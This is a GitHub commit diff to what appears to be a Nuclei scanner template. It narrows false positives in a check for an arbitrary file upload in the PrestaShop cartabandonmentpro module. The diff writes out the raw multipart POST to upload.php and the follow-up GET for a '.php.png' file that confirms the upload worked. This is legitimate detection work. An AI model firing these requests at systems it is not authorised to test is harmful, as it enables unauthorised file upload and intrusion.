Skip to content

Commit

Permalink
fix-fp
Browse files Browse the repository at this point in the history
  • Loading branch information
DhiyaneshGeek authored May 3, 2024
1 parent f66e27e commit f1c8aaf
Showing 1 changed file with 12 additions and 20 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -18,11 +18,10 @@ variables:
filename: '{{rand_base(7, "abc")}}'
title: '{{rand_base(7, "abc")}}'


http:
- raw:
- |
POST /modules/{{paths}}/upload.php HTTP/1.1
POST /modules/cartabandonmentpro/upload.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=xYzZY
Expand All @@ -36,23 +35,16 @@ http:
--xYzZY--
payloads:
paths:
- 'cartabandonmentpro'
- 'cartabandonmentproOld'

stop-at-first-match: true
host-redirects: true
max-redirects: 3
- |
GET /modules/cartabandonmentpro/uploads/{{filename}}.php.png HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "{{filename}}.php.png"

- type: status
status:
- 200
# digest: 490a0046304402206cd9c0818aa36d2324bdd68ea91572b784f5d8ba039eb80723118081997fb883022072073af9c96011fb764121a837e5d489c22d27efd3498085aab2a9269088c147:922c64590222798bb761d5b6d8e72950
- type: dsl
dsl:
- 'contains(header_2, "image/png")'
- 'contains(body_1, "{{filename}}.php.png")'
- 'status_code_1 == 200 && status_code_2 == 200'
condition: and

# digest: 490a0046304402206cd9c0818aa36d2324bdd68ea91572b784f5d8ba039eb80723118081997fb883022072073af9c96011fb764121a837e5d489c22d27efd3498085aab2a9269088c147:922c64590222798bb761d5b6d8e72950

0 comments on commit f1c8aaf

Please sign in to comment.